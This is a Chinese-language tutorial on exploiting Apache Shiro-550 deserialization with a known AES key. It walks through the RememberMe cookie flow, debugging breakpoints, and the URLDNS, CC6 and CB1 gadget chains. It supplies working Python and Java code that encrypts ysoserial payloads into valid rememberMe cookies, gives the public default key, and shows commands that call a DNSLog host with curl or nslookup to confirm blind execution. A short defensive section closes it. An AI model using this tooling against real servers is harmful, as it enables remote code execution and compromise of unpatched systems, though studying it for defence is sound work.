
如果你在Burp的响应头里看到Set-Cookie: rememberMedeleteMe那我先跟你说句恭喜——这基本等于在脸上写着我是Shiro了。接下来值得做的就是围绕这个Cookie做一轮完整的攻防拆解确认密钥、选择利用链、用AES-CBC把序列化payload加密成合法Cookie、最后在IDEA里断点观察每一步发生了什么。网上能一键打Shiro的工具很多但真正自己动手时你会发觉这条链路里值得逐行搞懂的东西远比工具跑通要多Java原生反序列化的readObject机制、Shiro默认序列化器的行为、URLDNS链的触发细节、CC和CB链在不同依赖下的取舍还有那个最容易忽略的IV拼接位置。这篇文章就围绕已知key这个前提把整条链路拆开带着断点调试的视角从原理讲到实操再讲到排坑。1. RememberMe流程拆解从登录Cookie到反序列化入口1.1 记住我到底记住了什么Shiro的RememberMe设计本来很朴素用户登录成功后把代表身份的PrincipalCollection对象序列化再用AES加密Base64编码后塞进rememberMe这个Cookie里。下次用户带着Cookie访问时Shiro读出来、解密、反序列化恢复出身份信息于是用户就不用重新登录了。关键点在于这里用的序列化是Java原生序列化。也就是说服务端会调用ObjectOutputStream.writeObject()把对象变成二进制流然后在请求处理时用ObjectInputStream.readObject()把二进制流还原成对象。整个过程中没有任何自研格式、没有二次校验数据长什么样完全由攻击者构造。它的完整数据流是登录成功 - PrincipalCollection对象 - Java原生序列化ObjectOutputStream - AES/CBC/PKCS5Padding加密 - Base64编码 - 写入Cookie: rememberMe值请求到达时方向反过来收到rememberMe Cookie - Base64解码 - 取前16字节作为IV - AES/CBC解密 - Java原生反序列化ObjectInputStream.readObject() - 还原PrincipalCollection所以整个攻击面非常清晰只要攻击者能构造出一段合法加密的序列化字节服务端就会信任它并执行反序列化。而能不能构造出合法加密的字节取决于你是否知道AES的key。1.2 原生序列化与反序列化在Shiro中的真实位置我们需要分清楚两个阶段。第一个阶段是rememberIdentity()。登录成功后Shiro的AbstractRememberMeManager拿到PrincipalCollection调用serialize()方法。默认的DefaultSerializer非常直白public byte[] serialize(Object o) throws SerializationException { ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); return baos.toByteArray(); }第二步是加密。AbstractRememberMeManager.encrypt()里做的事情是生成16字节随机IV然后用AES/CBC/PKCS5Padding加密把IV直接拼接在密文前面。这个细节极其重要后面手写payload的时候会反复用到。第二个阶段是getRememberedPrincipals()。用户带着rememberMexxx访问时Shiro会解密然后调用deserialize()public T deserialize(byte[] serialized) throws SerializationException { ByteArrayInputStream bais new ByteArrayInputStream(serialized); ObjectInputStream ois new ObjectInputStream(bais); return (T) ois.readObject(); }这一步就是整个漏洞的核心位置。readObject()是Java原生反序列化机制的入口它会沿着对象流定义的类信息逐个加载类、重建对象图并在特定类上自动调用readObject()方法。如果我们能控制这段字节流就可以构造一棵由危险类组成的对象图让反序列化的过程中自动执行我们想要的调用。Shiro在这里有一个额外的细节它用的不是裸的ObjectInputStream而是ClassResolvingObjectInputStream重写了resolveClass()Override protected Class? resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException(...); } }也就是说目标ClassPath里存在的所有类理论上都可能被反序列化加载。攻击者不需要提前拿到目标专属类只需要用目标已有的通用库里的类组成利用链即可。这也是为什么CC链、CB链在Shiro场景中如此通用的根本原因。1.3 硬编码Key是Shiro-550的根因但不是唯一问题Shiro-550对应的CVE-2016-4437问题根源出在默认key。在1.2.4及之前的版本里AbstractRememberMeManager有一个硬编码的默认keyprivate static final byte[] DEFAULT_CIPHER_KEY_BYTES Base64.decode(kPHbIxk5D2deZiIxcaaaA);这段Base64解码后是16字节正好是AES-128的密钥长度。只要开发者没有显式配置cipherKey所有使用该版本Shiro的应用都会用同一个key做加解密。key一旦公开等于加密这层防线完全失效——任何人都能自己构造合法Cookie让服务端反序列化任意对象。1.2.5之后Shiro把默认key改成了随机生成。但现实里很多项目根本没升版本或者升了版本却因为业务需要主动配置了一个固定key比如直接把网上教程里的key抄进配置。所以有key利用在今天的攻防场景中仍然非常实战。顺带理清一个概念Shiro-550解决的是默认key泄露导致可构造payloadShiro-721CVE-2019-12422是另一个分支——通过Padding Oracle Attack在不知道key的情况下也能构造合法密文。这篇聚焦的是前者也就是你已经掌握了一个有效key之后该怎么把利用链完整落地。2. 断点调试确认Key正确性和利用链是否被加载2.1 三个断点位置覆盖全流程很多朋友拿到工具点一下能出结果但一让自己写就懵。我建议直接上调试把整个链路过一遍之后一切都会清晰。本地搭建一个最简Shiro环境Spring Boot shiro-spring 1.4.2在shiroConfig里显式设置cookieRememberMeManager.setCipherKey(Base64.decode(kPHbIxk5D2deZiIxcaaaA))。这个key你可以用任意有效值目的是让本地环境和目标保持一致。然后在IDEA里开三个断点分别放在org.apache.shiro.mgt.AbstractRememberMeManager.decrypt()方法第一行。这里能看到Cookie值是否真的被取出来、走到解密逻辑。org.apache.shiro.io.DefaultSerializer.deserialize()里面ois.readObject()之前那一行。能确认解密成功、已经进入反序列化。org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass()第一行。这里是反序列化加载每一个类的地方最直观。第一个断点负责验证请求是否触达加密逻辑第二个断点负责验证key是否正确、密文能否顺利解开第三个断点负责验证利用链里的类是否被目标加载。三个点位组合起来整条链路的每一步都逃不过你的眼睛。2.2 调试现场Key正确与Key错误是什么表现先说key错误的情况。你发一个带rememberMe错误key加密后的payload的请求第一个断点会命中进到decrypt()。然后在cipher.doFinal()这一行你会看到抛出BadPaddingException。因为CBC模式下key不对最后一步padding校验必然失败。异常被Shiro捕获后最终响应里出现rememberMedeleteMe。所以有一个很实用的判断标准即使你能让目标返回deleteMe也不代表key正确只能说明Shiro框架在响应只有解密不抛异常、顺利进入反序列化key才大概率是对的。再说key正确的情况。断点会一路从decrypt()走到deserialize()的readObject()。你会发现URLDNS payload里声明了一堆类java.util.HashMap、java.net.URL、java.lang.String等等在resolveClass()里依次出现。如果用了CC链你还会看到org.apache.commons.collections.map.LazyMap、org.apache.commons.collections.functors.ChainedTransformer之类。所以你可以用断点来验证一个很关键的问题**目标环境到底有没有某个gadget依赖**比如你想打CB1链但resolveClass()走到org.apache.commons.beanutils.BeanComparator时抛了ClassNotFoundException那就说明目标没有这个库这条链走不通。这个信息比盲打有价值得多。2.3 用调用栈验证URLDNS链是否走通URLDNS链不长非常适合做调试入门。命中断点后看IDEA的调用栈应该是这样一条路径HashMap.readObject() - HashMap.hash(key) - URL.hashCode() - URLStreamHandler.hashCode(URL) - URLStreamHandler.getHostAddress() - InetAddress.getByName(host)如果你在URL.hashCode()这一帧停下来会看到URL对象的hashCode字段是-1。这正是URLDNS触发的必要条件URL第一次计算hashCode时才会发起DNS解析计算完会把结果缓存到hashCode字段里不再是-1。看到这条调用栈等于确认了目标的反序列化入口完全打通。后面换成CC链、CB链只是把中间的攻击载荷换掉入口和触发机制是同一个逻辑。这里还有一个可以顺便做的实验第一次发送URLDNS payload时断点停在InetAddress.getByName()第二次再发同一个payload你会发现URL.hashCode()直接返回了缓存值根本没有发起DNS查询。这就是URLDNS不能重放的直接体现下一节会细说。3. URLDNS链验证Shiro入口和Key的最小化检测方案3.1 URLDNS的完整调用链URLDNS是ysoserial里最轻量的gadget它不用任何第三方库只靠JDK自带类就能触发一次DNS请求。在Shiro场景中它的意义在于验证目标是否真的存在Shiro反序列化入口逐个尝试候选key确认哪一个能成功解密全程只发DNS请求不回连、不执行命令相对安静。它的核心机制是HashMap反序列化时会对每个key计算hashCode如果key恰好是一个尚未计算过hashCode的URL对象URL的hashCode计算过程会触发URLStreamHandler.hashCode()而该方法内部会调用getHostAddress()做一次DNS解析。我们把域名换成自己的DNSLog地址就能在外部收到一次解析记录。链路可以画成这样HashMap.readObject() - hash(key) - key.hashCode() // URL.hashCode初始值为-1 - URLStreamHandler.hashCode(url) - getHostAddress() - InetAddress.getByName(host) // DNS查询关键前提是序列化之前必须把URL对象的hashCode字段重置为-1。ysoserial生成URLDNS payload时通过反射做了这一步所以每次生成的payload都是可以用的。3.2 针对Shiro场景的URLDNS检测脚本先用ysoserial生成一段URLDNS序列化字节java -jar ysoserial.jar URLDNS http://your-id.dnslog.cn urldns.bin然后写个Python脚本把它变成Shiro的rememberMe Cookie值import base64 import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad KEY base64.b64decode(kPHbIxk5D2deZiIxcaaaA) with open(urldns.bin, rb) as f: payload f.read() iv os.urandom(16) cipher AES.new(KEY, AES.MODE_CBC, iv) encrypted iv cipher.encrypt(pad(payload, 16)) cookie_value base64.b64encode(encrypted).decode() print(cookie_value)把输出值放到请求的Cookie里GET / HTTP/1.1 Host: target.example Cookie: rememberMecookie_value如果DNSLog平台上出现了解析记录说明三件事同时成立目标确实是Shiro、目标能反序列化我们构造的对象、当前使用的key正确。这一步是整个利用链条中最重要的一次验证。我平时测key的时候还会配合一个更快的定位方式如果候选key很多不要一个个手工发请求。写一个循环把不同候选key加密出来的Cookie分别发出去然后去DNSLog平台集中看解析记录。注意控制频率避免触发目标的风控或WAF。3.3 一次性效应URLDNS为什么不能重放这个坑几乎所有实战的人都踩过。第一次发URLDNS payload收到了解析记录第二次重新发送同一个请求什么反应都没有于是怀疑是不是目标出网有问题。原因在前面已经提到URL对象的hashCode字段在第一次计算后被缓存了。反序列化时HashMap.readObject()触发hash(key)调用URL.hashCode()它发现自己的hashCode已经不是-1直接返回缓存值根本不会走到getHostAddress()也就不会有新的DNS请求。所以每次检测都必须重新生成Payload或者写脚本时每次把hashCode反射重置为-1再序列化。ysoserial本身每次执行都会重新生成所以每次跑一个新Payload是最稳妥的姿势。这个机制也提醒我们一个调试判断如果断点里看到URL.hashCode()返回了一个具体数值而不是-1说明这个payload已经被消费过了换个新的再试。4. 有Key之后的选择题CC链和CB链的构造逻辑4.1 CC6链依赖CommonsCollections时的首选URLDNS只能证明入口通要真正执行命令还是得换成更重的gadget。CC链在Shiro专题里最常见的形态是CC6链子长但稳定而且对Java版本兼容性较好不像CC1那样依赖AnnotationInvocationHandler在特定JDK版本下的行为。CC6的完整结构是这样HashMap.readObject() - hash(key) - TiedMapEntry.hashCode() - TiedMapEntry.getValue() - LazyMap.get(key) - ChainedTransformer.transform(key) - ConstantTransformer.transform() // 拿到Runtime.class - InvokerTransformer.transform(getMethod, ...) - InvokerTransformer.transform(invoke, ...) - InvokerTransformer.transform(exec, ...)几个关键类的作用TiedMapEntry桥接类它的hashCode()会调用getValue()进而触发LazyMap.get()LazyMap装饰类任何get()调用都会触发内部的Factory.transform()ChainedTransformer把一系列Transformer串起来前一个的结果是后一个的输入InvokerTransformer通过反射调用任意方法最终执行命令。CC6依赖的是commons-collections。如果目标应用因为Spring、MyBatis等老版本框架间接引入了这个库那CC6就能直接用。注意依赖版本最好在3.x因为4.x里InvokerTransformer的序列化行为有变化某些版本的链条需要额外处理iTransformers字段。4.2 CB1链依赖更轻但坑也不少CB1链走的是commons-beanutils核心类BeanComparator。它利用的是BeanComparator.compare()会调用PropertyUtils.getProperty()从而间接调用任意JavaBean的getter方法这个行为。如果getter目标是TemplatesImpl.getOutputProperties()就会触发TemplatesImpl加载字节码的逻辑完成代码执行。CB1的典型结构PriorityQueue.readObject() - heapify() - siftDownUsingComparator() - BeanComparator.compare(obj1, obj2) - PropertyUtils.getProperty(obj, outputProperties) - TemplatesImpl.getOutputProperties() - newTransformer() - defineTransletClasses() // 加载恶意字节码为什么Shiro场景经常优先考虑CB1因为很多Web应用虽然没直接引commons-collections但会因为其它组件带上commons-beanutils和commons-logging。而CB1只需要这两个依赖不要求commons-collections适用范围更广。但CB1有几个特别容易翻车的细节serialVersionUID问题不同版本的commons-beanutils对BeanComparator的serialVersionUID定义可能不一致用本机库生成的payload打到目标可能因为SUID不匹配直接反序列化失败commons-logging依赖BeanComparator内部要用commons-logging的LogFactory目标如果没带这个库类加载照样失败PropertyUtils链路的类解析在反序列化过程中PropertyUtils.getProperty()内部会尝试解析一些额外的类目标环境不同可能报错。所以用CB1前最好先确认目标环境里commons-beanutils和commons-logging是否存在。方法还是上一步说的先用断点或者异常栈观察resolveClass()走到哪个类时断掉。4.3 选型判断表与依赖探测方法三条链放在一起看选型逻辑其实很朴素利用链依赖触发入口用途常见坑URLDNS仅JDKHashMap - URL.hashCode验证入口和key一次性不能重放CC6commons-collections 3.x/4.xHashMap - TiedMapEntry - LazyMap执行命令目标缺少CC依赖CB1commons-beanutils commons-loggingPriorityQueue - BeanComparator加载字节码SUID不一致、缺commons-logging依赖探测方面除了断点看类加载还有一种打法构造一个包含目标依赖类名的异常payload观察服务端返回的差异。比如你发一个序列化对象里面故意引用一个只有commons-beanutils才有的类如果目标正常反序列化或至少没抛ClassNotFound说明这个类存在如果响应里特征异常说明缺依赖。不过实战中最快的办法还是直接试。我一般习惯先用CB1打一枪没反应再换CC6因为CB1依赖更常见。但前提是每次打完都要能区分是链不通还是命令被拦截了这就引出后面第6节的排坑内容了。5. 加密逻辑还原手写AES-CBC把利用链变成Cookie5.1 为什么ysoserial的产物不能直接用很多新手第一次接触Shiro利用时会以为直接把ysoserial的二进制字节贴进Cookie就行。这是错的。ysoserial输出的东西是Java原生序列化的结果也就是ObjectOutputStream.writeObject()形成的字节流。但Shiro的rememberMeCookie不是裸序列化数据而是先AES加密再Base64编码后的结果。服务端的处理顺序是Base64解码 - AES解密 - 原生反序列化。如果你直接塞序列化字节服务端拿到后当作Base64解码会失败或解出一个乱码的字节数组接着AES解密必然报错最后你只会得到一个deleteMe。也就是说ysoserial帮我们解决的是序列化对象图和原生序列化字节这一层Shiro的加密层必须自己补上。打个比方ysoserial把危险品打包好了但还得给它套上一个目标服务端认得的信封AES加密才能顺利递交进去。5.2 与服务端解密逻辑对齐的加密实现写Payload前必须完全对齐Shiro的解密逻辑Base64解码后前16字节是IV第16字节之后是真正的AES密文AES算法是AES/CBC/PKCS5Padding密钥是Base64解码后的字节数组。所以我们加密时也要把IV放在最前面。Java版本的核心实现import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.nio.ByteBuffer; import java.security.SecureRandom; import java.util.Base64; public class ShiroRememberMePayload { public static String makeCookieValue(byte[] serializedPayload, String base64Key) throws Exception { byte[] keyBytes Base64.getDecoder().decode(base64Key); byte[] iv new byte[16]; new SecureRandom().nextBytes(iv); SecretKeySpec keySpec new SecretKeySpec(keyBytes, AES); IvParameterSpec ivSpec new IvParameterSpec(iv); Cipher cipher Cipher.getInstance(AES/CBC/PKCS5Padding); cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); byte[] encrypted cipher.doFinal(serializedPayload); ByteBuffer buffer ByteBuffer.allocate(iv.length encrypted.length); buffer.put(iv); buffer.put(encrypted); return Base64.getEncoder().encodeToString(buffer.array()); } }调用方式就三行byte[] payload ...; // ysoserial生成的原生序列化字节 String cookie ShiroRememberMePayload.makeCookieValue(payload, kPHbIxk5D2deZiIxcaaaA); // 把cookie塞进 Cookie: rememberMecookiePython版本我之前已经写过两个版本任选其一结果等价。这里要特别提醒IV不能省略也不能放到密文后面。如果省略IVCBC模式下解密无法进行如果IV位置不对服务端从密文头取出的IV其实是密文前16字节解密结果必然乱码doFinal()会直接抛异常。我见过不少人在这上面浪费时间以为是链子问题其实只是IV拼错了地方。5.3 Key泄露的常见途径与排查目录有了加密逻辑剩下的关键就是拿到key。这里不讨论怎么破解key那是Shiro-721的事只说已经有一个key时它通常从哪里来历史硬编码keykPHbIxk5D2deZiIxcaaaA是1.2.4及之前的默认key目标如果没改配置直接就用它运维配置文件shiro.ini、application.yml、application.properties里可能写了cipherKey...GitHub/代码托管平台开发者在仓库里明文提交配置属于最常见的信息泄露途径旧版备份与Docker镜像历史配置文件被打包到镜像里泄露面更大。安全测试圈里流传过一批公开的固定key都是曾经出现在示例代码或泄露代码里的值。这些key不能用于生产环境但作为检测目标是否仍在使用弱key的候选列表很实用。重点是拿到任何一个有效key你就能用上面这套加密逻辑生成任意gadget的rememberMe Cookie。6. 实战中反复踩过的坑与排查路径6.1 DNS不回显得先分清是链路问题还是环境问题DNS不回显是Shiro利用里最常见的挫折来源。我的排查顺序是这样的第一确认请求真的发出去了、Cookie格式完整。有时候是复制Cookie时丢了等号或尾部的Base64解码就偏移了。第二确认目标确实存在反序列化入口。对比一下发一个rememberMe1看响应是否多出Set-Cookie: rememberMedeleteMe。如果连deleteMe都没有那说明目标可能根本不是Shiro或者Cookie名不叫rememberMe。第三确认key正确性。用同一个key加密一个URLDNS payload发出去如果目标日志里出现解密异常大概率key不对。第四确认目标出网。这一步最麻烦。Shiro应用所在的服务器可能完全无法访问公网DNS尤其是内网隔离环境——那你的DNSLog平台当然永远等不到记录。此时可以换一种验证方式用CC6或CB1打一个Thread.sleep延时payload通过响应时间判断链是否执行。排查DNS问题时有个经验不要只用一家DNSLog。不同平台的解析记录刷新速度、地域覆盖都有差异换一家对比能排除一部分误判。6.2 命令无回显的检测思路很多Shiro利用场景里目标没有命令回显渠道所以执行了但看不到结果很常见。我常用的判断手法有三类时间盲注用java.lang.Thread.sleep(5000)这类延时payload。如果请求耗时明显增加基本可以认定命令执行了。这也是判断链子是否走通最简单粗暴的方式。DNS外带在命令里拼一个nslookup 随机值.your-dnslog.cn或者curl http://随机值.your-dnslog.cn通过DNSLog平台有没有解析记录来判断。注意目标出网环境受限时也可能没有记录。写文件在目标可写目录里创建一个标记文件然后通过另一个请求去访问。这个方法适用性取决于文件系统和Web目录权限通常用来做最后确认。核心原则是无回显不等于没执行别急着换链子先排除执行成功但回显通道不通的情况。6.3 从防御角度看这个专题真正要解决的问题站在防守侧重新看这条链路结论其实很清晰Shiro能被打从来不是某一个环节的锅而是硬编码密钥 Java原生反序列化 目标ClassPath里的危险gadget三个条件同时成立。升级Shiro到1.2.5以上只是第一步——真正要解决的是移除硬编码key确认配置里没有把固定key写死排查依赖任何不需要的commons-collections、commons-beanutils都尽量从依赖树里剔掉敏感接口上做反序列化流量检测至少对rememberMeCookie的异常长度和内容特征有感知。代码评审时看到setCipherKey(Base64.decode(...))这种固定值就要直接打回去改成环境变量或密钥管理系统里的随机值。回头看这个专题的处理流程断点调试和加密逻辑其实是两条主线调试让你在为什么payload没生效时不靠猜而是直接看到类加载到了哪一步加密逻辑让你不再依赖工具而是理解Cookie里那串字符串的每一个字节是怎么来的。工具能跑通是一回事自己能把链路从原理推到落地遇到问题能顺着断点和日志找到答案这才是做攻防研究真正应该沉淀下来的能力。